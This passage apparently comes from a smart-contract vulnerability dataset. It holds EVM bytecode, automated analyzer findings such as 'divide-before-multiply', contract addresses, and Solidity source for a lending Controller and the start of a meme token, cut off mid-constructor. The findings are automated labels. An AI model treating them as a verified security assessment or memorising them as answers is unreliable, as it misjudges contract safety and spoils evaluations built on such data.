0fd5b610cb9828261134f565b5050565b60075481565b600c5481565b6001546000908190600160a060020a03163314610ce557600080fd5b50506001546040513091823191600160a060020a03909116906108fc8315029083906000818181858888f19350505050158015610b83573d6000803e3d6000fd5b60408051808201909152600381527f4441540000000000000000000000000000000000000000000000000000000000602082015281565b600154600090600160a060020a03163314610d7757600080fd5b600d5460a060020a900460ff1615610d8e57600080fd5b600d805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f7f95d919e78bdebe8a285e6e33357c2fcb65ccf66e72d7573f9f8f6caad0c4cc90600090a150600190565b600154600160a060020a03163314610df857600080fd5b600a8190556040805182815290517ff7729fa834bbef70b6d3257c2317a562aa88b56c81b544814f93dc5963a2c0039181900360200190a150565b600060406044361015610e4257fe5b600160a060020a0384161515610e5757600080fd5b33600090815260026020526040902054831115610e7357600080fd5b33600090815260026020526040902054610e93908463ffffffff61133d16565b3360009081526002602052604080822092909255600160a060020a03861681522054610ec5908463ffffffff61133016565b600160a060020a0385166000818152600260209081526040918290209390935580518681529051919233926000805160206114918339815191529281900390910190a35060019392505050565b60046020526000908152604090205460ff1681565b600d5460a060020a900460ff1681565b600080600084915081600160a060020a03166370a08231856040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b158015610fb357600080fd5b505af1158015610fc7573d6000803e3d6000fd5b505050506040513d6020811015610fdd57600080fd5b505195945050505050565b600a5481565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60015460009081908190600160a060020a0316331461103757600080fd5b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051859350600160a060020a038416916370a082319160248083019260209291908290030181600087803b15801561109b57600080fd5b505af11580156110af573d6000803e3d6000fd5b505050506040513d60208110156110c557600080fd5b5051600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810184905290519293509084169163a9059cbb916044808201926020929091908290030181600087803b15801561113957600080fd5b505af115801561114d573d6000803e3d6000fd5b505050506040513d602081101561116357600080fd5b5051949350505050565b600b5481565b60095481565b600154600160a060020a0316331461119057600080fd5b600160a060020a038116156111c8576001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b600154600090600160a060020a031633146111e557600080fd5b5060005b8281101561121e5761121684848381811061120057fe5b90506020020135600160a060020a03168361134f565b6001016111e9565b50505050565b60008215156112355750600061093c565b5081810281838281151561124557fe5b041461093c57fe5b600d5460009060a060020a900460ff161561126757600080fd5b60095461127a908363ffffffff61133016565b600955600160a060020a0383166000908152600260205260409020546112a6908363ffffffff61133016565b600160a060020a038416600081815260026020908152604091829020939093558051858152905191927f8940c4b8e215f8822c5c8f0056c12652c746cbc57eedbd2a440b175971d47a7792918290030190a2604080518381529051600160a060020a038516916000916000805160206114918339815191529181900360200190a350600192915050565b8181018281101561093c57fe5b60008282111561134957fe5b50900390565b600154600160a060020a0316331461136657600080fd5b6000811161137357600080fd5b6008546009541061138357600080fd5b600160a060020a0382166000908152600260205260409020546113ac908263ffffffff61133016565b600160a060020a0383166000908152600260205260409020556009546113d8908263ffffffff61133016565b60098190556008541161140a57600d805474ff0000000000000000000000000000000000000000191660a060020a1790555b600160a060020a0382166000818152600260209081526040918290205482518581529182015281517fada993ad066837289fe186cd37227aa338d27519a8a1547472ecb9831486d272929181900390910190a2604080518281529051600160a060020a038416916000916000805160206114918339815191529181900360200190a350505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058202f63364488e42379b15d9c4daf2e0f12c0518451e4f687e2be8bbd6e4daf58be0029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
5,483
0x45ee906e9cfae0aabdb194d6180a3a119d4376c4
/** *Submitted for verification at Etherscan.io on 2021-07-21 */ // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.6; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function symbol() external view returns (string memory); function decimals() external view returns (uint); function approve(address spender, uint amount) external returns (bool); function mint(address account, uint amount) external; function burn(address account, uint amount) external; function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IInterestRateModel { function systemRate(ILendingPair _pair, address _token) external view returns(uint); function supplyRatePerBlock(ILendingPair _pair, address _token) external view returns(uint); function borrowRatePerBlock(ILendingPair _pair, address _token) external view returns(uint); } interface IRewardDistribution { function distributeReward(address _account, address _token) external; } interface IController { function interestRateModel() external view returns(IInterestRateModel); function rewardDistribution() external view returns(IRewardDistribution); function feeRecipient() external view returns(address); function LIQ_MIN_HEALTH() external view returns(uint); function minBorrowUSD() external view returns(uint); function liqFeeSystem(address _token) external view returns(uint); function liqFeeCaller(address _token) external view returns(uint); function liqFeesTotal(address _token) external view returns(uint); function colFactor(address _token) external view returns(uint); function depositLimit(address _lendingPair, address _token) external view returns(uint); function borrowLimit(address _lendingPair, address _token) external view returns(uint); function originFee(address _token) external view returns(uint); function depositsEnabled() external view returns(bool); function borrowingEnabled() external view returns(bool); function setFeeRecipient(address _feeRecipient) external; function tokenPrice(address _token) external view returns(uint); function tokenSupported(address _token) external view returns(bool); } interface ILendingPair { function checkAccountHealth(address _account) external view; function accrueAccount(address _account) external; function accrue() external; function accountHealth(address _account) external view returns(uint); function totalDebt(address _token) external view returns(uint); function tokenA() external view returns(address); function tokenB() external view returns(address); function lpToken(address _token) external view returns(IERC20); function debtOf(address _account, address _token) external view returns(uint); function pendingDebtTotal(address _token) external view returns(uint); function pendingSupplyTotal(address _token) external view returns(uint); function deposit(address _token, uint _amount) external; function withdraw(address _token, uint _amount) external; function borrow(address _token, uint _amount) external; function repay(address _token, uint _amount) external; function withdrawBorrow(address _token, uint _amount) external; function controller() external view returns(IController); function borrowBalance( address _account, address _borrowedToken, address _returnToken ) external view returns(uint); function convertTokenValues( address _fromToken, address _toToken, uint _inputAmount ) external view returns(uint); } interface IPriceOracle { function tokenPrice(address _token) external view returns(uint); function tokenSupported(address _token) external view returns(bool); } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable { address public owner; address public pendingOwner; event OwnershipTransferInitiated(address indexed previousOwner, address indexed newOwner); event OwnershipTransferConfirmed(address indexed previousOwner, address indexed newOwner); constructor() { owner = msg.sender; emit OwnershipTransferConfirmed(address(0), owner); } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return msg.sender == owner; } function transferOwnership(address _newOwner) external onlyOwner { require(_newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferInitiated(owner, _newOwner); pendingOwner = _newOwner; } function acceptOwnership() external { require(msg.sender == pendingOwner, "Ownable: caller is not pending owner"); emit OwnershipTransferConfirmed(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } contract Controller is Ownable { using Address for address; uint public constant LIQ_MIN_HEALTH = 1e18; uint private constant MAX_COL_FACTOR = 99e18; uint private constant MAX_LIQ_FEES = 50e18; IInterestRateModel public interestRateModel; IPriceOracle public priceOracle; IRewardDistribution public rewardDistribution; bool public depositsEnabled; bool public borrowingEnabled; uint public liqFeeCallerDefault; uint public liqFeeSystemDefault; uint public originFeeDefault; uint public minBorrowUSD; mapping(address => mapping(address => uint)) public depositLimit; mapping(address => mapping(address => uint)) public borrowLimit; mapping(address => uint) public originFeeToken; mapping(address => uint) public liqFeeCallerToken; // 1e18 = 1% mapping(address => uint) public liqFeeSystemToken; // 1e18 = 1% mapping(address => uint) public colFactor; // 99e18 = 99% address public feeRecipient; event NewFeeRecipient(address feeRecipient); event NewInterestRateModel(address interestRateModel); event NewPriceOracle(address priceOracle); event NewRewardDistribution(address rewardDistribution); event NewColFactor(address token, uint value); event NewDepositLimit(address pair, address token, uint value); event NewBorrowLimit(address pair, address token, uint value); event DepositsEnabled(bool value); event BorrowingEnabled(bool value); event NewLiqParamsToken(address token, uint liqFeeSystem, uint liqFeeCaller); event NewLiqParamsDefault(uint liqFeeSystem, uint liqFeeCaller); event NewOriginFeeDefault(uint value); event NewOriginFeeToken(address token, uint value); event NewMinBorrowUSD(uint value); constructor( address _interestRateModel, uint _liqFeeSystemDefault, uint _liqFeeCallerDefault, uint _originFeeDefault, uint _minBorrowUSD ) { _requireContract(_interestRateModel); require(_liqFeeSystemDefault + _liqFeeCallerDefault <= MAX_LIQ_FEES, "Controller: fees too high"); interestRateModel = IInterestRateModel(_interestRateModel); liqFeeSystemDefault = _liqFeeSystemDefault; liqFeeCallerDefault = _liqFeeCallerDefault; originFeeDefault = _originFeeDefault; minBorrowUSD = _minBorrowUSD; depositsEnabled = true; borrowingEnabled = true; } function setFeeRecipient(address _value) external onlyOwner { _requireContract(_value); feeRecipient = _value; emit NewFeeRecipient(_value); } function setLiqParamsToken( address _token, uint _liqFeeSystem, uint _liqFeeCaller ) external onlyOwner { require(_liqFeeCaller + _liqFeeSystem <= MAX_LIQ_FEES, "Controller: fees too high"); _requireContract(_token); liqFeeSystemToken[_token] = _liqFeeSystem; liqFeeCallerToken[_token] = _liqFeeCaller; emit NewLiqParamsToken(_token, _liqFeeSystem, _liqFeeCaller); } function setLiqParamsDefault( uint _liqFeeSystem, uint _liqFeeCaller ) external onlyOwner { require(_liqFeeCaller + _liqFeeSystem <= MAX_LIQ_FEES, "Controller: fees too high"); liqFeeSystemDefault = _liqFeeSystem; liqFeeCallerDefault = _liqFeeCaller; emit NewLiqParamsDefault(_liqFeeSystem, _liqFeeCaller); } function setInterestRateModel(address _value) external onlyOwner { _requireContract(_value); interestRateModel = IInterestRateModel(_value); emit NewInterestRateModel(address(_value)); } function setPriceOracle(address _value) external onlyOwner { _requireContract(_value); priceOracle = IPriceOracle(_value); emit NewPriceOracle(address(_value)); } function setRewardDistribution(address _value) external onlyOwner { _requireContract(_value); rewardDistribution = IRewardDistribution(_value); emit NewRewardDistribution(address(_value)); } function setDepositsEnabled(bool _value) external onlyOwner { depositsEnabled = _value; emit DepositsEnabled(_value); } function setBorrowingEnabled(bool _value) external onlyOwner { borrowingEnabled = _value; emit BorrowingEnabled(_value); } function setDefaultOriginFee(uint _value) external onlyOwner { originFeeDefault = _value; emit NewOriginFeeDefault(_value); } function setOriginFee(address _token, uint _value) external onlyOwner { _requireContract(_token); originFeeToken[_token] = _value; emit NewOriginFeeToken(_token, _value); } function setDepositLimit(address _pair, address _token, uint _value) external onlyOwner { _requireContract(_pair); _requireContract(_token); depositLimit[_pair][_token] = _value; emit NewDepositLimit(_pair, _token, _value); } function setBorrowLimit(address _pair, address _token, uint _value) external onlyOwner { _requireContract(_pair); _requireContract(_token); borrowLimit[_pair][_token] = _value; emit NewBorrowLimit(_pair, _token, _value); } function setMinBorrowUSD(uint _value) external onlyOwner { minBorrowUSD = _value; emit NewMinBorrowUSD(_value); } function setColFactor(address _token, uint _value) external onlyOwner { require(_value <= MAX_COL_FACTOR, "Controller: _value <= MAX_COL_FACTOR"); _requireContract(_token); colFactor[_token] = _value; emit NewColFactor(_token, _value); } function liqFeeSystem(address _token) public view returns(uint) { return liqFeeSystemToken[_token] > 0 ? liqFeeSystemToken[_token] : liqFeeSystemDefault; } function liqFeeCaller(address _token) public view returns(uint) { return liqFeeCallerToken[_token] > 0 ? liqFeeCallerToken[_token] : liqFeeCallerDefault; } function liqFeesTotal(address _token) external view returns(uint) { return liqFeeSystem(_token) + liqFeeCaller(_token); } function originFee(address _token) external view returns(uint) { return originFeeToken[_token] > 0 ? originFeeToken[_token] : originFeeDefault; } function tokenPrice(address _token) external view returns(uint) { return priceOracle.tokenPrice(_token); } function tokenSupported(address _token) external view returns(bool) { return priceOracle.tokenSupported(_token); } function _requireContract(address _value) internal view { require(_value.isContract(), "Controller: must be a contract"); } }
0x608060405234801561001057600080fd5b506004361061025c5760003560e01c806384ba3f6911610146578063be3c29ea116100c3578063e74b981b11610087578063e74b981b1461056c578063f1514a1a1461057f578063f2fde38b14610592578063f3fdb15a146105a5578063f4ff465c146105b8578063ffbd4f3c146105cb57600080fd5b8063be3c29ea14610500578063bee989eb14610513578063d1c9ea5314610526578063d8ee820614610546578063e30c39781461055957600080fd5b8063980a86911161010a578063980a8691146104a05780639f04586c146104b3578063a35d1300146104c6578063a7fb153f146104da578063b7e1e6f7146104ed57600080fd5b806384ba3f69146104455780638bcd4016146104585780638da5cb5b1461046b5780638f32d59b1461047e578063954755401461049157600080fd5b80633aec4495116101df578063676573bf116101a3578063676573bf146103b85780636f9c8f04146103e357806373dfb640146103f657806379ba5097146103ff57806382329f7d1461040757806383f150b61461041a57600080fd5b80633aec44951461036c5780634690484014610375578063530e784f146103885780635392fd1c1461039b5780635b813e7b146103af57600080fd5b8063101114cf11610226578063101114cf146102f257806311b3fccb1461031d5780632630c12f146103265780632cef5fae146103395780633ae908861461034c57600080fd5b806279c5b614610261578062bf6d0314610287578063062143f01461029c5780630a65e545146102bf5780630d68b761146102df575b600080fd5b61027461026f36600461123c565b6105eb565b6040519081526020015b60405180910390f35b61029a610295366004611396565b61060f565b005b6102af6102aa36600461123c565b6106e8565b604051901515815260200161027e565b6102746102cd36600461123c565b600b6020526000908152604090205481565b61029a6102ed36600461123c565b610765565b600454610305906001600160a01b031681565b6040516001600160a01b03909116815260200161027e565b61027460065481565b600354610305906001600160a01b031681565b61027461034736600461123c565b6107ed565b61027461035a36600461123c565b600e6020526000908152604090205481565b61027460075481565b600f54610305906001600160a01b031681565b61029a61039636600461123c565b61082e565b6004546102af90600160a01b900460ff1681565b61027460085481565b6102746103c636600461125e565b600a60209081526000928352604080842090915290825290205481565b61029a6103f1366004611364565b6108af565b61027460055481565b61029a61090e565b61029a610415366004611291565b6109d8565b61027461042836600461125e565b600960209081526000928352604080842090915290825290205481565b61027461045336600461123c565b610a84565b61029a61046636600461123c565b610b02565b600054610305906001600160a01b031681565b6000546001600160a01b031633146102af565b610274670de0b6b3a764000081565b61029a6104ae366004611364565b610b83565b61029a6104c136600461132a565b610be2565b6004546102af90600160a81b900460ff1681565b61029a6104e8366004611291565b610c59565b61029a6104fb3660046112f7565b610cfc565b61029a61050e3660046112cd565b610def565b61029a6105213660046112cd565b610ed8565b61027461053436600461123c565b600c6020526000908152604090205481565b61027461055436600461123c565b610f5c565b600154610305906001600160a01b031681565b61029a61057a36600461123c565b610f9d565b61029a61058d36600461132a565b61101e565b61029a6105a036600461123c565b611095565b600254610305906001600160a01b031681565b6102746105c636600461123c565b61117f565b6102746105d936600461123c565b600d6020526000908152604090205481565b60006105f68261117f565b6105ff83610f5c565b61060991906113ed565b92915050565b6000546001600160a01b031633146106425760405162461bcd60e51b8152600401610639906113b8565b60405180910390fd5b6802b5e3af16b188000061065683836113ed565b11156106a05760405162461bcd60e51b8152602060048201526019602482015278086dedce8e4ded8d8cae47440cccacae640e8dede40d0d2ced603b1b6044820152606401610639565b6006829055600581905560408051838152602081018390527f744dfc1b7792f9d9dd2c66922d5a1c1a8e848e9b5cce2d7a840bc0ea10a403ef91015b60405180910390a15050565b6003546040516262143f60e41b81526001600160a01b038381166004830152600092169063062143f09060240160206040518083038186803b15801561072d57600080fd5b505afa158015610741573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106099190611347565b6000546001600160a01b0316331461078f5760405162461bcd60e51b8152600401610639906113b8565b610798816111c6565b600480546001600160a01b0319166001600160a01b0383169081179091556040519081527f1d0515e0edad919aab6d9c3d04d7842cc8f031cbcec4993c1ab03804060371ee906020015b60405180910390a150565b6001600160a01b0381166000908152600b602052604081205461081257600754610609565b506001600160a01b03166000908152600b602052604090205490565b6000546001600160a01b031633146108585760405162461bcd60e51b8152600401610639906113b8565b610861816111c6565b600380546001600160a01b0319166001600160a01b0383169081179091556040519081527ff261845a790fe29bbd6631e2ca4a5bdc83e6eed7c3271d9590d97287e00e9123906020016107e2565b6000546001600160a01b031633146108d95760405162461bcd60e51b8152600401610639906113b8565b60088190556040518181527f73a78e4c5a3b1768f847a4681bbd31a79b940ebb8cabf042275eabbce120bb2b906020016107e2565b6001546001600160a01b031633146109745760405162461bcd60e51b8152602060048201526024808201527f4f776e61626c653a2063616c6c6572206973206e6f742070656e64696e67206f6044820152633bb732b960e11b6064820152608401610639565b600154600080546040516001600160a01b0393841693909116917f646fe5eeb20d96ea45a9caafcb508854a2fb5660885ced7772e12a633c97457191a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000546001600160a01b03163314610a025760405162461bcd60e51b8152600401610639906113b8565b610a0b836111c6565b610a14826111c6565b6001600160a01b038381166000818152600a602090815260408083209487168084529482529182902085905581519283528201929092529081018290527f8d6086c5a957482f34c3fe27e42ab631530d908d6212f39c4580b0dd8f957ce3906060015b60405180910390a1505050565b6003546040516384ba3f6960e01b81526001600160a01b03838116600483015260009216906384ba3f699060240160206040518083038186803b158015610aca57600080fd5b505afa158015610ade573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610609919061137d565b6000546001600160a01b03163314610b2c5760405162461bcd60e51b8152600401610639906113b8565b610b35816111c6565b600280546001600160a01b0319166001600160a01b0383169081179091556040519081527f0ec6cb7631d36954a05ffd646135bfd9995c71e7fa36d26abb1ad9f24a040ea1906020016107e2565b6000546001600160a01b03163314610bad5760405162461bcd60e51b8152600401610639906113b8565b60078190556040518181527fe2644ad5393986c17ebfd63dbcc5a9e83a5cc0726dccfd3f1a4258398fa04503906020016107e2565b6000546001600160a01b03163314610c0c5760405162461bcd60e51b8152600401610639906113b8565b60048054821515600160a01b0260ff60a01b199091161790556040517f7b014ed3854e7f5cb0218d58b3c6ae7d53a68bb0af2f67bfb029ea42c38a7e85906107e290831515815260200190565b6000546001600160a01b03163314610c835760405162461bcd60e51b8152600401610639906113b8565b610c8c836111c6565b610c95826111c6565b6001600160a01b0383811660008181526009602090815260408083209487168084529482529182902085905581519283528201929092529081018290527f4b78fab1094794ffd6fdb46f2d48f13d20be4df4af14f9b5f42bd97483f2ce0390606001610a77565b6000546001600160a01b03163314610d265760405162461bcd60e51b8152600401610639906113b8565b6802b5e3af16b1880000610d3a83836113ed565b1115610d845760405162461bcd60e51b8152602060048201526019602482015278086dedce8e4ded8d8cae47440cccacae640e8dede40d0d2ced603b1b6044820152606401610639565b610d8d836111c6565b6001600160a01b0383166000818152600d60209081526040808320869055600c8252918290208490558151928352820184905281018290527f9380d862944e38c5ce9c5fc7b11ffa17b2d254f7734a5f0d95339b1941e0564290606001610a77565b6000546001600160a01b03163314610e195760405162461bcd60e51b8152600401610639906113b8565b68055de6a779bbac0000811115610e7e5760405162461bcd60e51b8152602060048201526024808201527f436f6e74726f6c6c65723a205f76616c7565203c3d204d41585f434f4c5f464160448201526321aa27a960e11b6064820152608401610639565b610e87826111c6565b6001600160a01b0382166000818152600e6020908152604091829020849055815192835282018390527f93f89a4ade64affae107c642c1a64962fbccf628af01c63a6fbd0928697a5acf91016106dc565b6000546001600160a01b03163314610f025760405162461bcd60e51b8152600401610639906113b8565b610f0b826111c6565b6001600160a01b0382166000818152600b6020908152604091829020849055815192835282018390527f9709c5d25fe2b79ad8610931065a4e3c6c4af34af283f53a884f5eac789c612b91016106dc565b6001600160a01b0381166000908152600d6020526040812054610f8157600654610609565b506001600160a01b03166000908152600d602052604090205490565b6000546001600160a01b03163314610fc75760405162461bcd60e51b8152600401610639906113b8565b610fd0816111c6565b600f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f412871529f3cedd6ca6f10784258f4965a5d6e254127593fe354e7a62f6d0a23906020016107e2565b6000546001600160a01b031633146110485760405162461bcd60e51b8152600401610639906113b8565b60048054821515600160a81b0260ff60a81b199091161790556040517fbb614ecd1ed5d1454c15f856743fff55fa975d6257e7262b092a86067ceda764906107e290831515815260200190565b6000546001600160a01b031633146110bf5760405162461bcd60e51b8152600401610639906113b8565b6001600160a01b0381166111245760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610639565b600080546040516001600160a01b03808516939216917fb150023a879fd806e3599b6ca8ee3b60f0e360ab3846d128d67ebce1a391639a91a3600180546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0381166000908152600c60205260408120546111a457600554610609565b506001600160a01b03166000908152600c602052604090205490565b3b151590565b6001600160a01b0381163b61121d5760405162461bcd60e51b815260206004820152601e60248201527f436f6e74726f6c6c65723a206d757374206265206120636f6e747261637400006044820152606401610639565b50565b80356001600160a01b038116811461123757600080fd5b919050565b60006020828403121561124e57600080fd5b61125782611220565b9392505050565b6000806040838503121561127157600080fd5b61127a83611220565b915061128860208401611220565b90509250929050565b6000806000606084860312156112a657600080fd5b6112af84611220565b92506112bd60208501611220565b9150604084013590509250925092565b600080604083850312156112e057600080fd5b6112e983611220565b946020939093013593505050565b60008060006060848603121561130c57600080fd5b61131584611220565b95602085013595506040909401359392505050565b60006020828403121561133c57600080fd5b813561125781611413565b60006020828403121561135957600080fd5b815161125781611413565b60006020828403121561137657600080fd5b5035919050565b60006020828403121561138f57600080fd5b5051919050565b600080604083850312156113a957600080fd5b50508035926020909101359150565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000821982111561140e57634e487b7160e01b600052601160045260246000fd5b500190565b801515811461121d57600080fdfea264697066735822122001b7201f0ca3606a7e365a06d0212037d224b9841e60ec6779d4b83d4f73612664736f6c63430008060033
{"success": true, "error": null, "results": {}}
5,484
0x1dBcDd0653dbB6033DC3E77376d6C672B1dA6b54
/** *Submitted for verification at Etherscan.io on 2022-03-29 */ // SPDX-License-Identifier: UNLICENSED /** https://t.me/CHURCHCULT **/ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ChurchCult is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; string private constant _name = "Church Cult"; string private constant _symbol = "CHURCHCULT"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(_msgSender()); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _maxTxAmount = 